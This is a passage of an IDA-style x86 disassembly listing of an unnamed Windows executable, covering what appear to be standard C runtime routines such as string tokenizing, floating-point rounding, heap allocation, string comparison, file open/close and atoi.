; ---------------------------------------------------------------------------

loc_41CDFE:				; CODE XREF: sub_41CDC0+25j
					; sub_41CDC0+32j
		mov	al, [esi]
		add	esi, 1
		cmp	al, dh
		jnz	short loc_41CDF0
		lea	edi, [esi-1]

loc_41CE0A:				; CODE XREF: sub_41CDC0+69j
		mov	ah, [ecx+2]
		test	ah, ah
		jz	short loc_41CE39
		mov	al, [esi]
		add	esi, 2
		cmp	al, ah
		jnz	short loc_41CDD8
		mov	al, [ecx+3]
		test	al, al
		jz	short loc_41CE39
		mov	ah, [esi-1]
		add	ecx, 2
		cmp	al, ah
		jz	short loc_41CE0A
		jmp	short loc_41CDD8
; ---------------------------------------------------------------------------

loc_41CE2D:				; CODE XREF: sub_41CDC0+16j
		xor	eax, eax
		pop	esi
		pop	ebx
		pop	edi
		mov	al, dl
		jmp	loc_41C3F6
; ---------------------------------------------------------------------------

loc_41CE39:				; CODE XREF: sub_41CDC0+4Fj
					; sub_41CDC0+5Fj
		lea	eax, [edi-1]
		pop	esi
		pop	ebx
		pop	edi
		retn
; ---------------------------------------------------------------------------

loc_41CE40:				; CODE XREF: sub_41CDC0+Fj
		mov	eax, edi
		pop	esi
		pop	ebx
		pop	edi
		retn
sub_41CDC0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41CE46	proc near		; CODE XREF: sub_407466+17Ep
					; sub_407466+19Ep ...

var_28		= dword	ptr -28h
var_24		= byte ptr -24h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 28h
		mov	eax, ds:dword_433148
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		push	edi
		mov	[ebp+var_4], eax
		call	sub_4203B6
		push	8
		pop	ecx
		mov	[ebp+var_28], eax
		xor	eax, eax
		lea	edi, [ebp+var_24]
		push	7
		rep stosd
		pop	edi

loc_41CE6F:				; CODE XREF: sub_41CE46+42j
		mov	dl, [esi]
		movzx	ecx, dl
		mov	eax, ecx
		and	ecx, edi
		mov	bl, 1
		shl	bl, cl
		shr	eax, 3
		lea	eax, [ebp+eax+var_24]
		or	[eax], bl
		inc	esi
		test	dl, dl
		jnz	short loc_41CE6F
		mov	edx, [ebp+arg_0]
		test	edx, edx
		jnz	short loc_41CE9E
		mov	eax, [ebp+var_28]
		mov	edx, [eax+18h]
		jmp	short loc_41CE9E
; ---------------------------------------------------------------------------

loc_41CE99:				; CODE XREF: sub_41CE46+6Fj
		test	al, al
		jz	short loc_41CEB7
		inc	edx

loc_41CE9E:				; CODE XREF: sub_41CE46+49j
					; sub_41CE46+51j
		mov	al, [edx]
		movzx	esi, al
		xor	ebx, ebx
		mov	ecx, esi
		and	ecx, edi
		inc	ebx
		shl	ebx, cl
		shr	esi, 3
		mov	cl, [ebp+esi+var_24]
		test	bl, cl
		jnz	short loc_41CE99

loc_41CEB7:				; CODE XREF: sub_41CE46+55j
		mov	ebx, edx
		jmp	short loc_41CED3
; ---------------------------------------------------------------------------

loc_41CEBB:				; CODE XREF: sub_41CE46+90j
		movzx	esi, byte ptr [edx]
		xor	eax, eax
		mov	ecx, esi
		and	ecx, edi
		inc	eax
		shl	eax, cl
		shr	esi, 3
		mov	cl, [ebp+esi+var_24]
		test	al, cl
		jnz	short loc_41CEDA
		inc	edx

loc_41CED3:				; CODE XREF: sub_41CE46+73j
		cmp	byte ptr [edx],	0
		jnz	short loc_41CEBB
		jmp	short loc_41CEDE
; ---------------------------------------------------------------------------

loc_41CEDA:				; CODE XREF: sub_41CE46+8Aj
		mov	byte ptr [edx],	0
		inc	edx

loc_41CEDE:				; CODE XREF: sub_41CE46+92j
		mov	eax, [ebp+var_28]
		mov	ecx, [ebp+var_4]
		mov	[eax+18h], edx
		mov	eax, ebx
		sub	eax, edx
		neg	eax
		pop	edi
		sbb	eax, eax
		and	eax, ebx
		pop	esi
		pop	ebx
		call	sub_41E5BB
		leave
		retn
sub_41CE46	endp

; ---------------------------------------------------------------------------
		align 10h
		cmp	ds:dword_439584, 0
		jz	loc_420A1D
		sub	esp, 8
		stmxcsr	dword ptr [esp+4]
		mov	eax, [esp+4]
		and	eax, 1F80h
		cmp	eax, 1F80h
		jnz	short loc_41CF34
		fnstcw	word ptr [esp]
		mov	ax, [esp]
		and	ax, 7Fh
		cmp	ax, 7Fh

loc_41CF34:				; CODE XREF: .text:0041CF23j
		lea	esp, [esp+8]
		jnz	loc_420A1D
		jmp	short $+2
		movq	xmm0, qword ptr	[esp+4]
		movapd	xmm2, oword ptr	ds:oword_429560
		movapd	xmm1, xmm0
		movapd	xmm7, xmm0
		psrlq	xmm0, 34h
		movd	eax, xmm0
		andpd	xmm0, oword ptr	ds:oword_429580
		psubd	xmm2, xmm0
		psrlq	xmm1, xmm2
		test	eax, 800h
		jz	short loc_41CFC2
		cmp	eax, 0BFFh
		jl	short loc_41CFFA
		psllq	xmm1, xmm2
		cmp	eax, 0C32h
		jg	short loc_41CF93
		movq	qword ptr [esp+4], xmm1
		fld	qword ptr [esp+4]
		retn
; ---------------------------------------------------------------------------

loc_41CF93:				; CODE XREF: .text:0041CF86j
					; .text:0041CFE1j
		ucomisd	xmm7, xmm7
		jnp	short loc_41CFBD
		mov	edx, 3ECh
		sub	esp, 10h
		mov	[esp+0Ch], edx
		mov	edx, esp
		add	edx, 14h
		mov	[esp+8], edx
		mov	[esp+4], edx
		mov	[esp], edx
		call	sub_42068C
		add	esp, 10h

loc_41CFBD:				; CODE XREF: .text:0041CF97j
		fld	qword ptr [esp+4]
		retn
; ---------------------------------------------------------------------------

loc_41CFC2:				; CODE XREF: .text:0041CF74j
		movq	xmm0, qword ptr	[esp+4]
		psllq	xmm1, xmm2
		movapd	xmm3, xmm0
		cmppd	xmm0, xmm1, 6
		cmp	eax, 3FFh
		jl	short loc_41D001
		cmp	eax, 432h
		jg	short loc_41CF93
		andpd	xmm0, oword ptr	ds:oword_429550
		addsd	xmm1, xmm0
		movq	qword ptr [esp+4], xmm1
		fld	qword ptr [esp+4]
		retn
; ---------------------------------------------------------------------------

loc_41CFFA:				; CODE XREF: .text:0041CF7Bj
		fld	ds:dbl_429590
		retn
; ---------------------------------------------------------------------------

loc_41D001:				; CODE XREF: .text:0041CFDAj
		cmppd	xmm3, oword ptr	ds:oword_429570, 6
		andpd	xmm3, oword ptr	ds:oword_429550
		movq	qword ptr [esp+4], xmm3
		fld	qword ptr [esp+4]
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D01D	proc near		; CODE XREF: sub_41D098+Bp

var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8

		push	0Ch
		push	offset stru_429598
		call	__SEH_prolog
		mov	esi, [ebp+arg_0]
		cmp	ds:dword_4395BC, 3
		jnz	short loc_41D063
		cmp	esi, ds:dword_4395A8
		ja	short loc_41D063
		push	4
		call	sub_41E983
		pop	ecx
		and	[ebp+ms_exc.disabled], 0
		push	esi
		call	sub_41F1DB
		pop	ecx
		mov	[ebp+var_1C], eax
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		call	sub_41D08F
		mov	eax, [ebp+var_1C]
		test	eax, eax
		jnz	short loc_41D086

loc_41D063:				; CODE XREF: sub_41D01D+16j
					; sub_41D01D+1Ej
		test	esi, esi
		jnz	short loc_41D068
		inc	esi

loc_41D068:				; CODE XREF: sub_41D01D+48j
		cmp	ds:dword_4395BC, 1
		jz	short loc_41D077
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h

loc_41D077:				; CODE XREF: sub_41D01D+52j
		push	esi
		push	0
		push	ds:dword_4395B8
		call	ds:dword_4290A0	; RtlAllocateHeap

loc_41D086:				; CODE XREF: sub_41D01D+44j
		call	__SEH_epilog
		retn
sub_41D01D	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D08C	proc near		; DATA XREF: .text:stru_429598o
		mov	esi, [ebp+8]
sub_41D08C	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41D08F	proc near		; CODE XREF: sub_41D01D+3Ap
		push	4
		call	sub_41E8CE
		pop	ecx
		retn
sub_41D08F	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D098	proc near		; CODE XREF: sub_41D0C4+Ap

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	[esp+arg_0], 0FFFFFFE0h
		ja	short loc_41D0C1

loc_41D09F:				; CODE XREF: sub_41D098+27j
		push	[esp+arg_0]
		call	sub_41D01D
		test	eax, eax
		pop	ecx
		jnz	short locret_41D0C3
		cmp	[esp+arg_4], eax
		jz	short locret_41D0C3
		push	[esp+arg_0]
		call	sub_41E56F
		test	eax, eax
		pop	ecx
		jnz	short loc_41D09F

loc_41D0C1:				; CODE XREF: sub_41D098+5j
		xor	eax, eax

locret_41D0C3:				; CODE XREF: sub_41D098+13j
					; sub_41D098+19j
		retn
sub_41D098	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D0C4	proc near		; CODE XREF: sub_404ED3+2p
					; sub_404F03+Cp ...

arg_0		= dword	ptr  4

		push	ds:dword_4356BC
		push	[esp+4+arg_0]
		call	sub_41D098
		pop	ecx
		pop	ecx
		retn
sub_41D0C4	endp

; ---------------------------------------------------------------------------
		align 10h
		cmp	ds:dword_439584, 0
		jz	loc_420AF0
		sub	esp, 8
		stmxcsr	dword ptr [esp+4]
		mov	eax, [esp+4]
		and	eax, 1F80h
		cmp	eax, 1F80h
		jnz	short loc_41D114
		fnstcw	word ptr [esp]
		mov	ax, [esp]
		and	ax, 7Fh
		cmp	ax, 7Fh

loc_41D114:				; CODE XREF: .text:0041D103j
		lea	esp, [esp+8]
		jnz	loc_420AF0
		jmp	short $+2
		movq	xmm0, qword ptr	[esp+4]
		movapd	xmm2, oword ptr	ds:oword_4295C0
		movapd	xmm1, xmm0
		movapd	xmm7, xmm0
		psrlq	xmm0, 34h
		movd	eax, xmm0
		andpd	xmm0, oword ptr	ds:oword_4295F0
		psubd	xmm2, xmm0
		psrlq	xmm1, xmm2
		test	eax, 800h
		jnz	short loc_41D1A2
		cmp	eax, 3FFh
		jl	short loc_41D1DA
		psllq	xmm1, xmm2
		cmp	eax, 432h
		jg	short loc_41D173
		movq	qword ptr [esp+4], xmm1
		fld	qword ptr [esp+4]
		retn
; ---------------------------------------------------------------------------

loc_41D173:				; CODE XREF: .text:0041D166j
					; .text:0041D1C1j
		ucomisd	xmm7, xmm7
		jnp	short loc_41D19D
		mov	edx, 3EDh
		sub	esp, 10h
		mov	[esp+0Ch], edx
		mov	edx, esp
		add	edx, 14h
		mov	[esp+8], edx
		mov	[esp+4], edx
		mov	[esp], edx
		call	sub_42068C
		add	esp, 10h

loc_41D19D:				; CODE XREF: .text:0041D177j
		fld	qword ptr [esp+4]
		retn
; ---------------------------------------------------------------------------

loc_41D1A2:				; CODE XREF: .text:0041D154j
		movq	xmm0, qword ptr	[esp+4]
		psllq	xmm1, xmm2
		movapd	xmm3, xmm0
		cmppd	xmm0, xmm1, 1
		cmp	eax, 0BFFh
		jl	short loc_41D1DD
		cmp	eax, 0C32h
		jg	short loc_41D173
		andpd	xmm0, oword ptr	ds:oword_4295B0
		subsd	xmm1, xmm0
		movq	qword ptr [esp+4], xmm1
		fld	qword ptr [esp+4]
		retn
; ---------------------------------------------------------------------------

loc_41D1DA:				; CODE XREF: .text:0041D15Bj
		fldz
		retn
; ---------------------------------------------------------------------------

loc_41D1DD:				; CODE XREF: .text:0041D1BAj
		cmppd	xmm3, oword ptr	ds:oword_4295E0, 1
		orpd	xmm3, oword ptr	ds:oword_4295E0
		andpd	xmm3, oword ptr	ds:oword_4295D0
		movq	qword ptr [esp+4], xmm3
		fld	qword ptr [esp+4]
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D201	proc near		; CODE XREF: sub_405D68+26p
					; sub_414CA6+27p

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		push	[ebp+arg_8]
		lea	eax, [ebp+var_20]
		push	[ebp+arg_4]
		mov	[ebp+var_1C], 7FFFFFFFh
		push	eax
		mov	[ebp+var_14], 42h
		mov	[ebp+var_18], esi
		mov	[ebp+var_20], esi
		call	sub_41F8BB
		add	esp, 0Ch
		test	esi, esi
		mov	edi, eax
		jz	short loc_41D252
		dec	[ebp+var_1C]
		js	short loc_41D245
		mov	eax, [ebp+var_20]
		mov	byte ptr [eax],	0
		jmp	short loc_41D252
; ---------------------------------------------------------------------------

loc_41D245:				; CODE XREF: sub_41D201+3Aj
		lea	eax, [ebp+var_20]
		push	eax
		push	0
		call	sub_41F714
		pop	ecx
		pop	ecx

loc_41D252:				; CODE XREF: sub_41D201+35j
					; sub_41D201+42j
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn
sub_41D201	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D258	proc near		; CODE XREF: sub_405D68+Cp
					; sub_414CA6+Bp

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	[ebp+arg_4]
		and	[ebp+var_18], 0
		push	[ebp+arg_0]
		and	[ebp+var_20], 0
		lea	eax, [ebp+var_20]
		push	eax
		mov	[ebp+var_1C], 7FFFFFFFh
		mov	[ebp+var_14], 42h
		call	sub_41F8BB
		add	esp, 0Ch
		leave
		retn
sub_41D258	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41D290	proc near		; CODE XREF: sub_405FB5+Ap
					; .text:0040A655p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_8]
		test	eax, eax
		jz	short locret_41D2E2
		mov	edx, [esp+arg_0]
		push	esi
		push	edi
		mov	esi, edx
		mov	edi, [esp+8+arg_4]
		or	edx, edi
		and	edx, 3
		jz	short loc_41D2E3
		test	eax, 1
		jz	short loc_41D2C3
		mov	cl, [esi]
		cmp	cl, [edi]
		jnz	short loc_41D310
		add	esi, 1
		add	edi, 1
		sub	eax, 1
		jz	short loc_41D2E0

loc_41D2C3:				; CODE XREF: sub_41D290+20j
					; sub_41D290+4Ej
		mov	cl, [esi]
		mov	dl, [edi]
		cmp	cl, dl
		jnz	short loc_41D310
		mov	cl, [esi+1]
		mov	dl, [edi+1]
		cmp	cl, dl
		jnz	short loc_41D310
		add	edi, 2
		add	esi, 2
		sub	eax, 2
		jnz	short loc_41D2C3

loc_41D2E0:				; CODE XREF: sub_41D290+31j
					; sub_41D290+8Aj
		pop	edi
		pop	esi

locret_41D2E2:				; CODE XREF: sub_41D290+6j
		retn
; ---------------------------------------------------------------------------

loc_41D2E3:				; CODE XREF: sub_41D290+19j
		mov	ecx, eax
		and	eax, 3
		shr	ecx, 2
		jz	short loc_41D318
		repe cmpsd
		jz	short loc_41D318
		mov	ecx, [esi-4]
		mov	edx, [edi-4]
		cmp	cl, dl
		jnz	short loc_41D30B
		cmp	ch, dh
		jnz	short loc_41D30B
		shr	ecx, 10h
		shr	edx, 10h
		cmp	cl, dl
		jnz	short loc_41D30B
		cmp	ch, dh

loc_41D30B:				; CODE XREF: sub_41D290+69j
					; sub_41D290+6Dj ...
		mov	eax, 0

loc_41D310:				; CODE XREF: sub_41D290+26j
					; sub_41D290+39j ...
		sbb	eax, eax
		pop	edi
		sbb	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_41D318:				; CODE XREF: sub_41D290+5Bj
					; sub_41D290+5Fj
		test	eax, eax
		jz	short loc_41D2E0
		mov	edx, [esi]
		mov	ecx, [edi]
		cmp	dl, cl
		jnz	short loc_41D30B
		sub	eax, 1
		jz	short loc_41D345
		cmp	dh, ch
		jnz	short loc_41D30B
		sub	eax, 1
		jz	short loc_41D345
		and	ecx, 0FF0000h
		and	edx, 0FF0000h
		cmp	edx, ecx
		jnz	short loc_41D30B
		sub	eax, 1

loc_41D345:				; CODE XREF: sub_41D290+97j
					; sub_41D290+A0j
		pop	edi
		pop	esi
		retn
sub_41D290	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D348	proc near		; CODE XREF: sub_4071F6+37p

arg_0		= dword	ptr  4
arg_4		= word ptr  8

		mov	eax, [esp+arg_0]
		mov	edx, eax

loc_41D34E:				; CODE XREF: sub_41D348+Ej
		mov	cx, [eax]
		inc	eax
		inc	eax
		test	cx, cx
		jnz	short loc_41D34E
		mov	cx, [esp+arg_4]

loc_41D35D:				; CODE XREF: sub_41D348+1Ej
		dec	eax
		dec	eax
		cmp	eax, edx
		jz	short loc_41D368
		cmp	[eax], cx
		jnz	short loc_41D35D

loc_41D368:				; CODE XREF: sub_41D348+19j
		mov	dx, [eax]
		sub	dx, cx
		neg	dx
		sbb	edx, edx
		not	edx
		and	eax, edx
		retn
sub_41D348	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D378	proc near		; CODE XREF: sub_41D3D4+Ap

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	10h
		push	offset stru_429600
		call	__SEH_prolog
		call	sub_420E8C
		mov	[ebp+var_1C], eax
		test	eax, eax
		jnz	short loc_41D39F
		call	sub_4200B5
		mov	dword ptr [eax], 18h
		xor	eax, eax
		jmp	short loc_41D3C4
; ---------------------------------------------------------------------------

loc_41D39F:				; CODE XREF: sub_41D378+16j
		and	[ebp+ms_exc.disabled], 0
		push	eax
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_420D24
		add	esp, 10h
		mov	[ebp+var_20], eax
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		call	sub_41D3CA
		mov	eax, [ebp+var_20]

loc_41D3C4:				; CODE XREF: sub_41D378+25j
		call	__SEH_epilog
		retn
sub_41D378	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D3CA	proc near		; CODE XREF: sub_41D378+44p
					; DATA XREF: .text:stru_429600o
		push	dword ptr [ebp-1Ch]
		call	sub_420CD2
		pop	ecx
		retn
sub_41D3CA	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D3D4	proc near		; CODE XREF: sub_4060DC+3D7p
					; .text:00416E79p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	40h
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_41D378
		add	esp, 0Ch
		retn
sub_41D3D4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D3E7	proc near		; CODE XREF: sub_4060DC+41Cp
					; sub_4060DC+610p ...

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	14h
		push	offset stru_429610
		call	__SEH_prolog
		mov	esi, [ebp+arg_0]
		mov	[ebp+var_20], esi
		push	esi
		call	sub_420C80
		pop	ecx
		and	[ebp+ms_exc.disabled], 0
		push	esi
		call	sub_420FAE
		mov	[ebp+var_1C], eax
		lea	eax, [ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	esi
		call	sub_41F8BB
		mov	[ebp+var_24], eax
		push	esi
		push	[ebp+var_1C]
		call	sub_421036
		add	esp, 18h
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		call	sub_41D43B
		mov	eax, [ebp+var_24]
		call	__SEH_epilog
		retn
sub_41D3E7	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D43B	proc near		; CODE XREF: sub_41D3E7+46p
					; DATA XREF: .text:stru_429610o
		push	dword ptr [ebp-20h]
		call	sub_420CD2
		pop	ecx
		retn
sub_41D43B	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D445	proc near		; CODE XREF: sub_4060DC+BFp
					; sub_4060DC+35Ep ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	edx, [esp+arg_0]
		push	esi
		mov	esi, [esp+4+arg_4]
		push	edi
		jmp	short loc_41D45A
; ---------------------------------------------------------------------------

loc_41D451:				; CODE XREF: sub_41D445+20j
		test	cx, cx
		jz	short loc_41D467
		inc	edx
		inc	edx
		inc	esi
		inc	esi

loc_41D45A:				; CODE XREF: sub_41D445+Aj
		mov	cx, [esi]
		movzx	eax, word ptr [edx]
		movzx	edi, cx
		sub	eax, edi
		jz	short loc_41D451

loc_41D467:				; CODE XREF: sub_41D445+Fj
		test	eax, eax
		pop	edi
		pop	esi
		jge	short loc_41D471
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------

loc_41D471:				; CODE XREF: sub_41D445+26j
		jle	short locret_41D476
		xor	eax, eax
		inc	eax

locret_41D476:				; CODE XREF: sub_41D445:loc_41D471j
		retn
sub_41D445	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D477	proc near		; CODE XREF: sub_41D4C3+32p
					; sub_421AB7+5Ep

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		or	edi, 0FFFFFFFFh
		test	byte ptr [esi+0Ch], 83h
		jz	short loc_41D4BA
		push	esi
		call	sub_4211A9
		push	esi
		mov	edi, eax
		call	sub_42117E
		push	dword ptr [esi+10h]
		call	sub_4210E3
		add	esp, 0Ch
		test	eax, eax
		jge	short loc_41D4A8
		or	edi, 0FFFFFFFFh
		jmp	short loc_41D4BA
; ---------------------------------------------------------------------------

loc_41D4A8:				; CODE XREF: sub_41D477+2Aj
		mov	eax, [esi+1Ch]
		test	eax, eax
		jz	short loc_41D4BA
		push	eax
		call	sub_41C2DD
		and	dword ptr [esi+1Ch], 0
		pop	ecx

loc_41D4BA:				; CODE XREF: sub_41D477+Dj
					; sub_41D477+2Fj ...
		and	dword ptr [esi+0Ch], 0
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_41D477	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D4C3	proc near		; CODE XREF: sub_4060DC+724p
					; .text:00416F15p ...

var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8

		push	0Ch
		push	offset stru_429620
		call	__SEH_prolog
		or	[ebp+var_1C], 0FFFFFFFFh
		mov	esi, [ebp+arg_0]
		test	byte ptr [esi+0Ch], 40h
		jz	short loc_41D4E9
		and	dword ptr [esi+0Ch], 0

loc_41D4E0:				; CODE XREF: sub_41D4C3+44j
		mov	eax, [ebp+var_1C]
		call	__SEH_epilog
		retn
; ---------------------------------------------------------------------------

loc_41D4E9:				; CODE XREF: sub_41D4C3+17j
		push	esi
		call	sub_420C80
		pop	ecx
		and	[ebp+ms_exc.disabled], 0
		push	esi
		call	sub_41D477
		pop	ecx
		mov	[ebp+var_1C], eax
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		call	sub_41D50C
		jmp	short loc_41D4E0
sub_41D4C3	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D509	proc near		; DATA XREF: .text:stru_429620o
		mov	esi, [ebp+8]
sub_41D509	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41D50C	proc near		; CODE XREF: sub_41D4C3+3Fp
		push	esi
		call	sub_420CD2
		pop	ecx
		retn
sub_41D50C	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D514	proc near		; CODE XREF: sub_41D59Cj
					; sub_425A9F+33p

arg_0		= dword	ptr  4

		push	esi
		push	edi
		call	sub_4203B6
		mov	edi, [eax+64h]
		cmp	edi, ds:off_433444
		jz	short loc_41D52D
		call	sub_420342
		mov	edi, eax

loc_41D52D:				; CODE XREF: sub_41D514+10j
		mov	esi, [esp+8+arg_0]

loc_41D531:				; CODE XREF: sub_41D514+43j
		cmp	dword ptr [edi+28h], 1
		movzx	eax, byte ptr [esi]
		jle	short loc_41D548
		push	8
		push	eax
		push	edi
		call	sub_42013A
		add	esp, 0Ch
		jmp	short loc_41D552
; ---------------------------------------------------------------------------

loc_41D548:				; CODE XREF: sub_41D514+24j
		mov	ecx, [edi+48h]
		movzx	eax, byte ptr [ecx+eax*2]
		and	eax, 8

loc_41D552:				; CODE XREF: sub_41D514+32j
		test	eax, eax
		jz	short loc_41D559
		inc	esi
		jmp	short loc_41D531
; ---------------------------------------------------------------------------

loc_41D559:				; CODE XREF: sub_41D514+40j
		movzx	ecx, byte ptr [esi]
		inc	esi
		cmp	ecx, 2Dh
		mov	edx, ecx
		jz	short loc_41D569
		cmp	ecx, 2Bh
		jnz	short loc_41D56D

loc_41D569:				; CODE XREF: sub_41D514+4Ej
		movzx	ecx, byte ptr [esi]
		inc	esi

loc_41D56D:				; CODE XREF: sub_41D514+53j
		xor	eax, eax

loc_41D56F:				; CODE XREF: sub_41D514+7Cj
		cmp	ecx, 30h
		jl	short loc_41D57E
		cmp	ecx, 39h
		jg	short loc_41D57E
		sub	ecx, 30h
		jmp	short loc_41D581
; ---------------------------------------------------------------------------

loc_41D57E:				; CODE XREF: sub_41D514+5Ej
					; sub_41D514+63j
		or	ecx, 0FFFFFFFFh

loc_41D581:				; CODE XREF: sub_41D514+68j
		cmp	ecx, 0FFFFFFFFh
		jz	short loc_41D592
		lea	eax, [eax+eax*4]
		lea	eax, [ecx+eax*2]
		movzx	ecx, byte ptr [esi]
		inc	esi
		jmp	short loc_41D56F
; ---------------------------------------------------------------------------

loc_41D592:				; CODE XREF: sub_41D514+70j
		cmp	edx, 2Dh
		pop	edi
		pop	esi
		jnz	short locret_41D59B
		neg	eax

locret_41D59B:				; CODE XREF: sub_41D514+83j
		retn
sub_41D514	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_41D59C	proc near		; CODE XREF: sub_407466+1AAp
					; sub_409454+55p ...
		jmp	sub_41D514
sub_41D59C	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D5B0	proc near		; CODE XREF: sub_407779+Dp
					; .text:00408537p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		push	ebx
		mov	ecx, [ebp+arg_8]
		jecxz	short loc_41D5E2
		mov	ebx, ecx
		mov	edi, [ebp+arg_0]
		mov	esi, edi
		xor	eax, eax
		repne scasb
		neg	ecx
		add	ecx, ebx
		mov	edi, esi
		mov	esi, [ebp+arg_4]
		repe cmpsb
		mov	al, [esi-1]
		xor	ecx, ecx
		cmp	al, [edi-1]
		ja	short loc_41D5E0
		jz	short loc_41D5E2
		sub	ecx, 2

loc_41D5E0:				; CODE XREF: sub_41D5B0+29j
		not	ecx

loc_41D5E2:				; CODE XREF: sub_41D5B0+9j
					; sub_41D5B0+2Bj
		mov	eax, ecx
		pop	ebx
		pop	esi
		pop	edi
		leave
		retn
sub_41D5B0	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D5E9	proc near		; DATA XREF: .text:off_430500o
					; .text:00430504o ...
		mov	eax, ds:dword_4354CC
		test	eax, eax
		jz	short loc_41D5F4
		call	eax

loc_41D5F4:				; CODE XREF: sub_41D5E9+7j
		push	19h
		call	sub_41DC6D
		pop	ecx
		retn
sub_41D5E9	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D5FD	proc near		; CODE XREF: sub_410A3B+95p
					; sub_410A3B+223p

arg_0		= dword	ptr  4

		call	sub_4203B6
		mov	eax, [eax+64h]
		cmp	eax, ds:off_433444
		jz	short loc_41D612
		call	sub_420342

loc_41D612:				; CODE XREF: sub_41D5FD+Ej
		cmp	dword ptr [eax+28h], 1
		jle	short loc_41D62B
		push	103h
		push	[esp+4+arg_0]
		push	eax
		call	sub_42013A
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------

loc_41D62B:				; CODE XREF: sub_41D5FD+19j
		mov	eax, [eax+48h]
		mov	ecx, [esp+arg_0]
		movzx	eax, word ptr [eax+ecx*2]
		and	eax, 103h
		retn
sub_41D5FD	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D63C	proc near		; CODE XREF: sub_410A3B+79p
					; sub_410A3B+2A8p ...

arg_0		= dword	ptr  4

		call	sub_4203B6
		mov	eax, [eax+64h]
		cmp	eax, ds:off_433444
		jz	short loc_41D651
		call	sub_420342

loc_41D651:				; CODE XREF: sub_41D63C+Ej
		cmp	dword ptr [eax+28h], 1
		jle	short loc_41D667
		push	4
		push	[esp+4+arg_0]
		push	eax
		call	sub_42013A
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------

loc_41D667:				; CODE XREF: sub_41D63C+19j
		mov	eax, [eax+48h]
		mov	ecx, [esp+arg_0]
		movzx	eax, byte ptr [eax+ecx*2]
		and	eax, 4
		retn
sub_41D63C	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D676	proc near		; CODE XREF: sub_410A3B+1F4p
					; sub_41D6EF+11p

arg_0		= dword	ptr  4

		call	sub_4203B6
		mov	eax, [eax+64h]
		cmp	eax, ds:off_433444
		jz	short loc_41D68B
		call	sub_420342

loc_41D68B:				; CODE XREF: sub_41D676+Ej
